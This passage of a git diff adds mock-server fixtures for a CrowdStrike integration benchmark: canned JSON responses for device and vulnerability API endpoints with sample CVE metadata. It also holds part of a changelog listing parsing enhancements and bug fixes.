"applied_date":"2023-11-07T04:52:59.515775409Z", + "assigned_date":"2023-11-07T04:51:18.94671252Z", + "policy_id":"7e3078b60976486cac5dc998808d9135", + "policy_type":"globalconfig", + "settings_hash":"f01def74" + }, + "prevention":{ + "applied":true, + "applied_date":"2023-06-08T10:04:47.643357971Z", + "assigned_date":"2023-06-08T10:03:49.505180252Z", + "policy_id":"1024fac1b279424fa7300b8ac2d56be5", + "policy_type":"prevention", + "rule_groups":[], + "settings_hash":"f7a54ca1" + }, + "remote_response":{ + "applied":true, + "applied_date":"2023-06-08T10:04:47.01735027Z", + "assigned_date":"2023-06-08T10:03:49.505163572Z", + "policy_id":"dabb4def99034f11b9b3d52271584c9f", + "policy_type":"remote-response", + "settings_hash":"8a548e5e" + }, + "sensor_update":{ + "applied":true, + "applied_date":"2023-11-07T04:52:59.659583066Z", + "assigned_date":"2023-11-07T04:47:43.342175341Z", + "policy_id":"64bfa2bbcd4e46da92a66b107933da11", + "policy_type":"sensor-update", + "settings_hash":"tagged|18;101", + "uninstall_protection":"ENABLED" + } + }, + "external_ip":"81.2.69.192", + "first_seen":"2023-06-08T10:00:19Z", + "group_hash":"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups":[ + "182388a8dbea4c44b5e019cfd32c2695" + ], + "hostname":"CLM101-131.local", + "kernel_version":"22.6.0", + "last_seen":"2023-11-07T10:25:24Z", + "local_ip":"81.2.69.142", + "mac_address":"14-7d-da-ad-ac-71", + "machine_domain":"SYS", + "major_version":"22", + "meta":{ + "version":"6002", + "version_string":"7:43570272778" + }, + "minor_version":"6", + "modified_timestamp":"2023-11-07T10:26:53Z", + "os_build":"22G120", + "os_version":"Ventura(13)", + "platform_id":"1", + "platform_name":"Mac", + "policies":[ + { + "applied":true, + "applied_date":"2023-06-08T10:04:47.643357971Z", + "assigned_date":"2023-06-08T10:03:49.505180252Z", + "policy_id":"1024fac1b279424fa7300b8ac2d56be5", + "policy_type":"prevention", + "rule_groups":[], + "settings_hash":"f7a54ca1" + } + ], + "product_type_desc":"Workstation", + "provision_status":"Provisioned", + "reduced_functionality_mode":"no", + "serial_number":"FVFDH73HMNHX", + "site_name":"Default-First-Site-Name", + "status":"normal", + "system_manufacturer":"ABCInc.", + "system_product_name":"Air,1", + "tags":[ + "tags" + ] + } + ] + } + - path: /devices/entities/devices/v2 + methods: ['POST'] + request_body: /.*"def"*/ + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "resources":[ + { + "agent_load_flags":"0", + "agent_local_time":"2023-11-07T04:51:16.678Z", + "agent_version":"7.05.17603.0", + "bios_manufacturer":"ABCInc.", + "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)", + "chassis_type":"9", + "chassis_type_desc":"Laptop", + "cid":"92012896127c4948236ba7601b886b0", + "config_id_base":"6594763", + "config_id_build":"1703", + "config_id_platform":"4", + "connection_ip":"81.2.69.192", + "cpu_signature":"460517", + "device_id":"3114433dbce478ca48d9a828b9b34be", + "device_policies":{ + "device_control":{ + "applied":true, + "applied_date":"2023-06-20T08:45:26.341093915Z", + "assigned_date":"2023-06-20T08:43:47.736146738Z", + "policy_id":"3f88daf0177f467dae69262a5ce71775", + "policy_type":"device-control" + }, + "firewall":{ + "applied":true, + "applied_date":"2023-09-11T10:33:44.174488832Z", + "assigned_date":"2023-09-11T10:32:47.853976945Z", + "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3", + "policy_type":"firewall", + "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config":{ + "applied":true, + "applied_date":"2023-11-07T04:52:59.515775409Z", + "assigned_date":"2023-11-07T04:51:18.94671252Z", + "policy_id":"7e3078b60976486cac5dc998808d9135", + "policy_type":"globalconfig", + "settings_hash":"f01def74" + }, + "prevention":{ + "applied":true, + "applied_date":"2023-06-08T10:04:47.643357971Z", + "assigned_date":"2023-06-08T10:03:49.505180252Z", + "policy_id":"1024fac1b279424fa7300b8ac2d56be5", + "policy_type":"prevention", + "rule_groups":[], + "settings_hash":"f7a54ca1" + }, + "remote_response":{ + "applied":true, + "applied_date":"2023-06-08T10:04:47.01735027Z", + "assigned_date":"2023-06-08T10:03:49.505163572Z", + "policy_id":"dabb4def99034f11b9b3d52271584c9f", + "policy_type":"remote-response", + "settings_hash":"8a548e5e" + }, + "sensor_update":{ + "applied":true, + "applied_date":"2023-11-09T04:52:59.659583066Z", + "assigned_date":"2023-11-09T04:47:43.342175341Z", + "policy_id":"74bfa2bbcd4e46da92a66b107933da11", + "policy_type":"sensor-update", + "settings_hash":"tagged|18;101", + "uninstall_protection":"ENABLED" + } + }, + "external_ip":"81.2.69.192", + "first_seen":"2023-06-09T10:00:19Z", + "group_hash":"c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups":[ + "882388a8dbea4c44b5e019cfd32c2695" + ], + "hostname":"CLM101-141.local", + "kernel_version":"22.6.0", + "last_seen":"2023-11-09T10:25:24Z", + "local_ip":"81.2.69.142", + "mac_address":"14-7d-da-ad-ac-71", + "machine_domain":"SYS", + "major_version":"22", + "meta":{ + "version":"6002", + "version_string":"7:43570272778" + }, + "minor_version":"6", + "modified_timestamp":"2023-11-09T10:26:53Z", + "os_build":"22G120", + "os_version":"Ventura(13)", + "platform_id":"1", + "platform_name":"Mac", + "policies":[ + { + "applied":true, + "applied_date":"2023-06-09T10:04:47.643357971Z", + "assigned_date":"2023-06-09T10:03:49.505180252Z", + "policy_id":"2024fac1b279424fa7300b8ac2d56be5", + "policy_type":"prevention", + "rule_groups":[], + "settings_hash":"m7a54ca1" + } + ], + "product_type_desc":"Workstation", + "provision_status":"Provisioned", + "reduced_functionality_mode":"no", + "serial_number":"FVVDH73HMNHX", + "site_name":"Default-First-Site-Name", + "status":"normal", + "system_manufacturer":"ABCInc.", + "system_product_name":"Air,1", + "tags":[ + "tags" + ] + } + ] + } diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml new file mode 100644 index 0000000000..b1a9fa8973 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml @@ -0,0 +1,643 @@ +rules: + - path: /oauth2/token + methods: ['POST'] + responses: + - status_code: 200 + headers: + Content-Type: + - 'application/json' + body: | + {"access_token":"xxxx","expires_in":1799,"token_type":"bearer"} + - path: /spotlight/combined/vulnerabilities/v1 + methods: ['GET'] + query_params: + limit: 1 + after: page-3 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "query_time": 0.467386633, + "pagination": { + "limit": 1, + "total": 3, + "after": "" + }, + "powered_by": "spapi", + "trace_id": "810254d8-a768-4def-a2a4-192ad762dbcd" + }, + "resources": [ + { + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "aid": "897580adb4ab4540a357536faa41de18", + "vulnerability_id": "CVE-2024-26719", + "data_providers": [ + { + "provider": "Falcon sensor" + } + ], + "created_timestamp": "2025-07-24T13:42:05Z", + "updated_timestamp": "2025-07-29T00:53:18Z", + "status": "open", + "apps": [ + { + "vendor_normalized": "Debian", + "product_name_version": "linux 6.1.140+1", + "product_name_normalized": "linux", + "sub_status": "open", + "remediation": { + "ids": [ + "d5befca2cc3a33918f15acae966804fe" + ] + }, + "evaluation_logic": { + "id": "e52ad4411f913b76b24866b9ad33c36a", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "aid": "897580adb4ab4540a357536faa41de18", + "data_provider": "Falcon sensor", + "created_timestamp": "2025-07-24T13:40:28Z", + "updated_timestamp": "2025-07-24T13:40:28Z", + "logic": [ + { + "id": 11529734357680297657, + "title": "Debian 12 is installed", + "type": "inventory", + "description": "", + "negate": false, + "existence_check": "at_least_one_exists", + "comparison_check": "at least one", + "determined_by_comparison": true, + "comparisons": { + "state_operator": "AND", + "state_comparisons": [ + { + "entity_operator": "AND", + "entity_comparisons": [ + { + "actual_value_field": "subexpression", + "expected_value": "12", + "operation": "equals", + "value_datatype": "string" + } + ] + } + ] + }, + "items": [ + { + "comparison_result": "true", + "filepath": "/etc/debian_version", + "item_type": "textfilecontent_item", + "subexpression": [ + "12" + ] + } + ] + }, + { + "id": 5378633537652057925, + "title": "linux is installed", + "type": "inventory", + "description": "", + "negate": false, + "existence_check": "at_least_one_exists", + "comparison_check": "", + "determined_by_comparison": false, + "items": [ + { + "arch": "amd64", + "comparison_result": "not evaluated", + "epoch": "0", + "evr": "6.1.140-1", + "item_type": "dpkginfo_item", + "name": "linux-image-cloud-amd64", + "release": "1", + "version": "6.1.140" + }, + { + "arch": "amd64", + "comparison_result": "not evaluated", + "epoch": "0", + "evr": "6.1.140-1", + "item_type": "dpkginfo_item", + "name": "linux-image-6.1.0-37-cloud-amd64", + "release": "1", + "version": "6.1.140" + } + ] + } + ], + "simplified_logic": [ + { + "id": 11529734357680297657, + "title": "Debian 12 is installed", + "checks": "(subexpression equals 12)", + "match_required": "All comparisons must pass", + "found": [ + "subexpression: [12]" + ], + "data": [ + "filepath: /etc/debian_version" + ] + }, + { + "id": 5378633537652057925, + "title": "linux is installed", + "checks": "No comparisons available : Existence check", + "found": [ + "Item was found" + ], + "data": [ + "package: linux-image-cloud-amd64-6.1.140-1.amd64", + "package: linux-image-6.1.0-37-cloud-amd64-6.1.140-1.amd64" + ] + } + ], + "host_info": { + "entities_matched": [ + { + "asset_id": "ab87facab3de4911a15af6fe385db2bf" + } + ] + } + }, + "remediation_info": { + "recommended_id": "d5befca2cc3a33918f15acae966804fe" + } + } + ], + "suppression_info": { + "is_suppressed": false + }, + "confidence": "confirmed", + "host_info": { + "hostname": "ub24-50-10-154", + "local_ip": "1.128.0.0", + "machine_domain": "", + "os_version": "Debian GNU 12", + "ou": "", + "site_name": "", + "system_manufacturer": "Google", + "groups": [ + { + "id": "group-123", + "name": "Production" + } + ], + "tags": [], + "platform": "Linux", + "instance_id": "9165043901540429889", + "service_provider_account_id": "126499441333", + "service_provider": "GCP", + "product_type_desc": "Server", + "asset_criticality": "Unassigned", + "internet_exposure": "No", + "managed_by": "Falcon sensor", + "host_last_seen_timestamp": "2025-07-26T00:00:00Z" + }, + "remediation": { + "entities": [ + { + "id": "d5befca2cc3a33918f15acae966804fe", + "reference": "Debian linux", + "title": "No fix or vendor remediation available for Debian linux", + "action": "No fix or vendor remediation available for linux on Debian GNU 12. Alternatives might include software removal, OS upgrade, or other mitigating controls", + "link": "", + "vendor_url": "" + } + ] + }, + "cve": { + "id": "CVE-2024-26719", + "base_score": 5.5, + "severity": "MEDIUM", + "exploit_status": 0, + "exprt_rating": "LOW", + "remediation_level": "U", + "cisa_info": { + "is_cisa_kev": false + }, + "spotlight_published_date": "2024-04-04T12:46:00Z", + "types": [ + "Vulnerability" + ], + "cwes": [ + "" + ], + "description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnouveau: offload fence uevents work to workqueue\n\nThis should break the deadlock between the fctx lock and the irq lock.\n\nThis offloads the processing off the work from the irq into a workqueue.\n", + "published_date": "2024-04-03T00:00:00Z", + "references": [ + "https://git.kernel.org/stable/c/39126abc5e20611579602f03b66627d7cd1422f0", + "https://git.kernel.org/stable/c/985d053f7633d8b539ab1531738d538efac678a9", + "https://git.kernel.org/stable/c/cc0037fa592d56e4abb9c7d1c52c4d2dc25cd906", + "https://lore.kernel.org/linux-cve-announce/2024040344-CVE-2024-26719-b66e@gregkh/T", + "https://nvd.nist.gov/vuln/detail/CVE-2024-26719", + "https://security-tracker.debian.org/tracker/CVE-2024-26719", + "https://www.cve.org/CVERecord?id=CVE-2024-26719" + ], + "exploitability_score": 1.8, + "impact_score": 3.6, + "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" + } + } + ] + } + `}} + - path: /spotlight/combined/vulnerabilities/v1 + methods: ['GET'] + query_params: + limit: 1 + after: page-2 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "query_time": 0.013642188, + "pagination": { + "limit": 1, + "total": 3, + "after": "page-3" + }, + "powered_by": "spapi", + "trace_id": "20f000f8-6614-47e8-a94a-af3611d37ddb" + }, + "resources": [ + { + "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "aid": "897580adb4ab4540a357536faa41de18", + "vulnerability_id": "CVE-2025-26465", + "data_providers": [ + { + "provider": "Falcon sensor", + "ports": [22, 80], + "rating": "high", + "scan_id": "scan-123456", + "scan_time": "2025-02-20T12:00:00Z", + "scanner_id": "scanner-xyz" + } + ], + "created_timestamp": "2025-02-20T10:10:24Z", + "updated_timestamp": "2025-02-25T13:33:23Z", + "closed_timestamp": "2025-02-26T10:00:00Z", + "status": "open", + "apps": [ + { + "vendor_normalized": "Ubuntu", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "product_name_normalized": "openssh", + "sub_status": "open", + "remediation": { + "ids": ["4688299d204b35a192828bdaf556ecf8"] + }, + "evaluation_logic": { + "id": "138bd6a67791327ab367838079b4d786", + "aid": "897580adb4ab4540a357536faa41de18", + "cid": "2cd98db1a47b4c98b913c94d43bfab70", + "complex_check_operator": "AND", + "created_timestamp": "2025-02-20T10:15:30Z", + "logic": [ + { + "comparison_check": "equals", + "comparisons": { + "state_comparisons": [ + { + "entity_comparisons": [ + { + "actual_value_field": "version", + "operation": "equals", + "value_datatype": "string" + } + ], + "entity_operator": "AND" + } + ], + "state_operator": "OR" + }, + "determined_by_comparison": true, + "existence_check": "Yes", + "id": "logic-12345", + "negate": false, + "status": "active", + "title": "Evaluation Logic for OpenSSH", + "type": "comparison" + } + ], + "updated_timestamp": "2025-02-25T13:33:23Z" + }, + "remediation_info": { + "recommended_id": "4688299d207b35a192828bdaf556ecf8", + "minimum_id": "df1af7df1d33382398fb0dc268109a4d", + "patch_publication_date": "2025-02-19T00:00:00Z" + }, + "patch_publication_date": "2025-02-19T00:00:00Z" + } + ], + "suppression_info": { + "is_suppressed": false, + "reason": "Not applicable" + }, + "confidence": "confirmed", + "app": { + "vendor_normalized": "Ubuntu", + "product_name_version": "openssh 1:9.6p1-3ubuntu13.4", + "product_name_normalized": "openssh" + }, + "cve": { + "id": "CVE-2025-26465", + "base_score": 6.8, + "severity": "MEDIUM", + "exploit_status": 30, + "exprt_rating": "MEDIUM", + "remediation_level": "O", + "cisa_info": { + "is_cisa_kev": false, + "due_date": "2025-03-01" + }, + "spotlight_published_date": "2025-02-19T05:32:00Z", + "types": ["Vulnerability"], + "cwes": ["CWE-123"], + "description": "A vulnerability was found in OpenSSH...", + "published_date": "2025-02-18T19:15:00Z", + "references": ["https://ubuntu.com/security/CVE-2025-26465"], + "exploitability_score": 1.6, + "impact_score": 5.2, + "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N" + }, + "host_info": { + "hostname": "ub24-50-10-154", + "local_ip": "1.128.0.0", + "os_version": "Ubuntu 24.04", + "platform": "Linux", + "product_type_desc": "Server", + "asset_criticality": "Critical", + "internet_exposure": "No", + "managed_by": "Falcon sensor", + "host_last_seen_timestamp": "2025-02-18T00:00:00Z", + "tags": ["production", "security"], + "has_run_container": false, + "machine_domain": "example.local", + "service_provider": "AWS", + "service_provider_account_id": "123456789012", + "system_manufacturer": "Dell", + "groups": [ + { + "id": "group-123", + "name": "Production" + } + ] + }, + "remediation": { + "ids": [ + "4688299d207b35a192828bdaf556ecf8", + "df1af7df1d33382398fb0dc268109a4d" + ], + "entities": [ + { + "id": "4688299d207b35a192828bdaf556ecf8", + "reference": "1:9.6p1-3ubuntu13.8", + "title": "Update ubuntu openssh", + "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer", + "link": "https://ubuntu.com/security/CVE-2025-26465", + "vendor_url": "https://www.openssh.com", + "recommendation_type": "recommended" + } + ] + } + } + ] + } + `}} + - path: /spotlight/combined/vulnerabilities/v1 + methods: ['GET'] + query_params: + limit: 1 + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + {{ minify_json ` + { + "meta": { + "query_time": 0.013642188, + "pagination": { + "limit": 1, + "total": 3, + "after": "page-2" + }, + "powered_by": "spapi", + "trace_id": "20f099f8-6614-47e8-a94a-af3611d37ddb" + }, + "resources": [ + { + "updated_timestamp": "2025-02-28T09:04:38Z", + "id": "vuln-1234567890abcdef", + "host_info": { + "local_ip": "1.128.0.0", + "hostname": "DESKTOP-EXAMPLE", + "platform": "Windows", + "os_version": "10.0.19042", + "asset_criticality": "High", + "asset_roles": [ + "Web Server", + "Database Server" + ], + "confidence_label": "Confirmed", + "groups": [ + { + "id": "group-001", + "name": "Production Servers" + } + ], + "has_run_container": false, + "host_last_seen_timestamp": "2025-02-27T15:30:00Z", + "instance_id": "i-0abcdef1234567890", + "internet_exposure": "Public", + "machine_domain": "example.com", + "managed_by": "IT Department", + "os_build": "19042.1237", + "ou": "IT/Servers", + "product_type_desc": "Server", + "service_provider": "AWS", + "service_provider_account_id": "123456789012", + "site_name": "Main Data Center", + "subsidiaries": [ + "Subsidiary A", + "Subsidiary B" + ], + "system_manufacturer": "Dell Inc.", + "tags": [ + "Critical", + "Production" + ], + "third_party_asset_ids": [ + "asset-12345", + "asset-67890" + ] + }, + "data_providers": [ + { + "provider": "Nessus", + "ports": [ + 80, + 443 + ], + "rating": "High", + "scan_id": "scan-001", + "scan_time": "2025-02-26T12:00:00Z", + "scanner_id": "scanner-01" + } + ], + "cve": { + "vendor_advisory": [ + "https://vendor.com/advisory/CVE-2025-1234" + ], + "description": "A vulnerability in the XYZ component allows remote attackers to execute arbitrary code.", + "references": [ + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1234" + ], + "base_score": 9.8, + "severity": "Critical", + "actors": [ + "APT28", + "Fancy Bear" + ], + "cisa_info": { + "due_date": "2025-03-15", + "is_cisa_kev": true + }, + "cwes": [ + "CWE-79", + "CWE-89" + ], + "exploit_status": 0, + "exploitability_score": 10, + "exprt_rating": "High", + "id": "CVE-2025-1234", + "impact_score": 9, + "name": "XYZ Component Remote Code Execution", + "published_date": "2025-02-25", + "remediation_level": "Official Fix", + "spotlight_published_date": "2025-02-26", + "types": [ + "Remote Code Execution", + "Privilege Escalation" + ], + "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + "vulnerability_id": "vuln-2025-1234", + "app": { + "product_name_normalized": "XYZ Application", + "product_name_version": "1.2.3", + "vendor_normalized": "XYZ Corp" + }, + "apps": [ + { + "evaluation_logic": { + "aid": "app-001", + "cid": "cid-001", + "complex_check_operator": "AND", + "created_timestamp": "2025-02-20T08:00:00Z", + "id": "eval-logic-001", + "logic": [ + { + "comparison_check": "EQUALS", + "comparisons": { + "state_comparisons": [ + { + "entity_comparisons": [ + { + "actual_value_field": "version", + "operation": "LESS_THAN", + "value_datatype": "string" + } + ], + "entity_operator": "AND" + } + ], + "state_operator": "OR" + }, + "determined_by_comparison": true, + "existence_check": "Yes", + "id": "logic-001", + "negate": false, + "status": "Active", + "title": "Check for vulnerable version", + "type": "Version Check" + } + ] + }, + "patch_publication_date": "2025-02-25", + "product_name_normalized": "XYZ Application", + "product_name_version": "1.2.3", + "remediation_info": { + "minimum_id": "patch-001", + "patch_publication_date": "2025-02-25", + "recommended_id": "patch-002" + }, + "remediation": { + "ids": [ + "rem-001", + "rem-002" + ] + }, + "sub_status": "Pending", + "vendor_normalized": "XYZ Corp" + } + ], + "cid": "cid-123456", + "closed_timestamp": "2025-02-28T10:00:00Z", + "confidence": "High", + "created_timestamp": "2025-02-25T08:00:00Z", + "remediation": { + "entities": [ + { + "action": "Apply Patch", + "id": "rem-001", + "link": "https://vendor.com/patches/patch-001", + "patch_publication_date": "2025-02-25", + "recommendation_type": "Official", + "reference": "PATCH-2025-001", + "title": "Security Patch for XYZ Component", + "vendor_url": "https://vendor.com/patches" + } + ], + "ids": [ + "rem-001", + "rem-002" + ] + }, + "services": [ + { + "port": 80, + "protocol": "HTTP", + "transport": "TCP" + }, + { + "port": 443, + "protocol": "HTTPS", + "transport": "TCP" + } + ], + "status": "Open", + "suppression_info": { + "is_suppressed": false, + "reason": "" + } + } + ] + } + `}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml new file mode 100644 index 0000000000..1c8e0402b4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml @@ -0,0 +1,999 @@ +# newer versions go on top +- version: "3.5.0" + changes: + - description: Add support for CustomerIOCEvent events in falcon data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17339 +- version: "3.4.0" + changes: + - description: Add support for FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/16990 + - description: Change `crowdstrike.Nonce` field type from integer to unsigned_long in the FDR data stream to support unsigned 64-bit values out of long range. + type: enhancement + link: https://github.com/elastic/integrations/pull/16990 +- version: "3.3.1" + changes: + - description: Remove references to FDR queue setting. + type: bugfix + link: https://github.com/elastic/integrations/pull/17387 + - description: Remove duplicate security-solution-default tag references + type: bugfix + link: https://github.com/elastic/integrations/pull/17020 +- version: "3.3.0" + changes: + - description: Parse EppDetectionSummaryEvent events in FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/17034 +- version: "3.2.1" + changes: + - description: Fix processing of `crowdstrike.User.ID` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/16989 +- version: "3.2.0" + changes: + - description: Improvements and fixes to ingest pipelines for all data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/16730 +- version: "3.1.0" + changes: + - description: Improve ingest pipeline maintainability. + type: enhancement + link: https://github.com/elastic/integrations/pull/16213 +- version: "3.0.0" + changes: + - description: >- + Add parsing for CSPM IOA and IOM events in the FDR data stream. No configuration changes are required on user side to enable parsing. Some field data types have changed, which may break existing Kibana dashboards or queries. + type: breaking-change + link: https://github.com/elastic/integrations/pull/15783 +- version: "2.11.0" + changes: + - description: >- + Add support for following additional event types in the FDR data stream: MountedVolume, FalconProcessHandleOpDetectInfo, ServiceStopped, KernelServiceStarted, InstalledBrowserExtension, SensorAntiTamperState, SensorSettingsUpdate, ServicesStatusInfo, FileWrittenWithEntropyHigh, ReflectiveDotnetModuleLoad, SuspiciousPrivilegedProcessHandle. These new event types provide deeper visibility into system activity and security posture. + type: enhancement + link: https://github.com/elastic/integrations/pull/15846 +- version: "2.10.1" + changes: + - description: Remove all constant keyword fields that have statically defined values. + type: bugfix + link: https://github.com/elastic/integrations/pull/16240 + - description: Fix handling of string CrowdStrike `User` fields. + type: bugfix + link: https://github.com/elastic/integrations/pull/16240 +- version: "2.10.0" + changes: + - description: >- + Provide an alternate endpoint to query host data for GovCloud CIDs. The GovCloud CIDs must enable the `GovCloud` flag in the integration configuration to ensure the correct endpoint is used. + type: enhancement + link: https://github.com/elastic/integrations/pull/16007 +- version: "2.9.0" + changes: + - description: Support handling FDR documents that encode numbers as strings. + type: enhancement + link: https://github.com/elastic/integrations/pull/16087 +- version: "2.8.0" + changes: + - description: Add support for HTTP proxy configuration for Event Streams. Add support for proxy header configuration for CrowdStrike APIs. + type: enhancement + link: https://github.com/elastic/integrations/pull/15880 +- version: "2.7.0" + changes: + - description: Add support for DataProtectionDetectionSummaryEvent events in FDR and Falcon datasets. + type: enhancement + link: https://github.com/elastic/integrations/pull/15859 +- version: "2.6.0" + changes: + - description: Add a fallback parsing command_line to populate the process name in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/15646 +- version: "2.5.2" + changes: + - description: Add `event.category` and `event.type` fields to process data in alerts. + type: bugfix + link: https://github.com/elastic/integrations/pull/15616 +- version: "2.5.1" + changes: + - description: Add conditionals to rename processors in the fdr ingest pipeline to pass the rally benchmark. + type: bugfix + link: https://github.com/elastic/integrations/pull/15497 + - description: Fix the alert ingest pipeline to append device tags correctly. + type: bugfix + link: https://github.com/elastic/integrations/pull/15497 +- version: "2.5.0" + changes: + - description: Migrate to /devices/combined/devices/v1 endpoint to pull host data. + type: enhancement + link: https://github.com/elastic/integrations/pull/15419 +- version: "2.4.0" + changes: + - description: Enhance the field mappings for Windows events in the FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/15342 +- version: "2.3.0" + changes: + - description: Migrate to /alerts/combined/alerts/v1 endpoint to pull alert data. + type: enhancement + link: https://github.com/elastic/integrations/pull/15291 +- version: "2.2.1" + changes: + - description: Fix processing of `crowdstrike.User.Name` field. + type: bugfix + link: https://github.com/elastic/integrations/pull/15272 +- version: "2.2.0" + changes: + - description: >- + Migrate to the "/spotlight/combined/vulnerabilities/v1" endpoint for vulnerability data. Add support for the `facet` query parameter to control what data is returned in the API response. + type: enhancement + link: https://github.com/elastic/integrations/pull/15049 +- version: "2.1.0" + changes: + - description: Populate `message` ECS field from `crowdstrike.event_simpleName` field for FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14916 +- version: "2.0.1" + changes: + - description: Added a conditional JSON parsing workaround for `ResourceAttributes` to handle cases where it is rendered as a JSON string. + type: bugfix + link: https://github.com/elastic/integrations/pull/15019 +- version: "2.0.0" + changes: + - description: "Data deduplication is now disabled by default for the FDR data stream when configured with the aws-s3 input. \nPreviously, the FDR data stream automatically handled deduplication by computing an Elasticsearch document _id \nusing the aws-s3 input. To prevent duplicate documents, you must now explicitly enable the Data Deduplication setting. \nWhile enabling this setting prevents duplicates, it may result in a lower indexing rate because Elasticsearch \nmust check for existing documents before indexing.\n" + type: breaking-change + link: https://github.com/elastic/integrations/pull/14762 +- version: "1.80.0" + changes: + - description: Update README to clarify the log file format and location for the Falcon SIEM Connector. + type: enhancement + link: https://github.com/elastic/integrations/pull/14789 +- version: "1.79.0" + changes: + - description: Parse `ou` field for host data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14773 +- version: "1.78.0" + changes: + - description: Add `FilesAccessed` timestamp checking to falcon and fdr data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/14723 +- version: "1.77.1" + changes: + - description: Support various Tags formats in FDR data. + type: bugfix + link: https://github.com/elastic/integrations/pull/14679 +- version: "1.77.0" + changes: + - description: Use `terminate` processor instead of `fail` processor to handle agent errors. + type: enhancement + link: https://github.com/elastic/integrations/pull/14393 +- version: "1.76.0" + changes: + - description: Extend info-level severity names to include "Informational". + type: enhancement + link: https://github.com/elastic/integrations/pull/14275 +- version: "1.75.2" + changes: + - description: Add temporary processor to remove the fields added by the Agentless policy. + type: bugfix + link: https://github.com/elastic/integrations/pull/14172 +- version: "1.75.1" + changes: + - description: Add support for multi-resource falcon hose streams. + type: bugfix + link: https://github.com/elastic/integrations/pull/14212 +- version: "1.75.0" + changes: + - description: Add additional parsed fields in alert datastream. + type: enhancement + link: https://github.com/elastic/integrations/pull/14143 +- version: "1.74.0" + changes: + - description: Standardize user fields processing across integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/14066 +- version: "1.73.1" + changes: + - description: Fix EppDetectionSummaryEvent recognition logic in falcon data stream. + type: bugfix + link: https://github.com/elastic/integrations/pull/14110 +- version: "1.73.0" + changes: + - description: Parse `prevented` and `worker_node_name` field for alert data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/14026 +- version: "1.72.0" + changes: + - description: Update SQS parsing script to parse all notification payloads. + type: enhancement + link: https://github.com/elastic/integrations/pull/13875 +- version: "1.71.0" + changes: + - description: Add `process.entity_id` and `process.parent.entity_id` ECS mappings in alert and falcon data streams. + type: enhancement + link: https://github.com/elastic/integrations/pull/13984 +- version: "1.70.0" + changes: + - description: Normalize `event.severity` values across EDR integrations. + type: enhancement + link: https://github.com/elastic/integrations/pull/13955 +- version: "1.69.1" + changes: + - description: Correct network.direction mapping. + type: bugfix + link: https://github.com/elastic/integrations/pull/13961 +- version: "1.69.0" + changes: + - description: Improve user ECS field mappings for FDR. + type: enhancement + link: https://github.com/elastic/integrations/pull/13906 +- version: "1.68.0" + changes: + - description: Improve handling of document collision. + type: enhancement + link: https://github.com/elastic/integrations/pull/13779 +- version: "1.67.0" + changes: + - description: Improve FDR field handling. + type: enhancement + link: https://github.com/elastic/integrations/pull/12913 +- version: "1.66.0" + changes: + - description: Handle `UTCTimestamp` values expressed in Unix seconds. + type: enhancement + link: https://github.com/elastic/integrations/pull/13833 +- version: "1.65.1" + changes: + - description: Adjust alert batch size to 1000 to match the API limit. + type: bugfix + link: https://github.com/elastic/integrations/pull/13862 +- version: "1.65.0" + changes: + - description: Remove redundant installation instructions. + type: enhancement + link: https://github.com/elastic/integrations/pull/13573 +- version: "1.64.1" + changes: + - description: Reset state values when an error occurs during vulnerability data collection. + type: bugfix + link: https://github.com/elastic/integrations/pull/13740 +- version: "1.64.0" + changes: + - description: Enhance `device.id` ECS mappings for FDR data stream. + type: enhancement + link: https://github.com/elastic/integrations/pull/13762 +- version: "1.63.2" + changes: + - description: Fix the navigation links in `Table of Contents` section. + type: bugfix + link: https://github.com/elastic/integrations/pull/13763 +- version: "1.63.1" + changes: + - description: Fix default request trace enabled behavior. + type: bugfix + link: https://github.com/elastic/integrations/pull/13712 +- version: "1.63.0" + changes: + - description: Update `host.*` ECS mappings. + type: enhancement + link: https://github.com/elastic/integrations/pull/13373 +- version: "1.62.0" + changes: + - 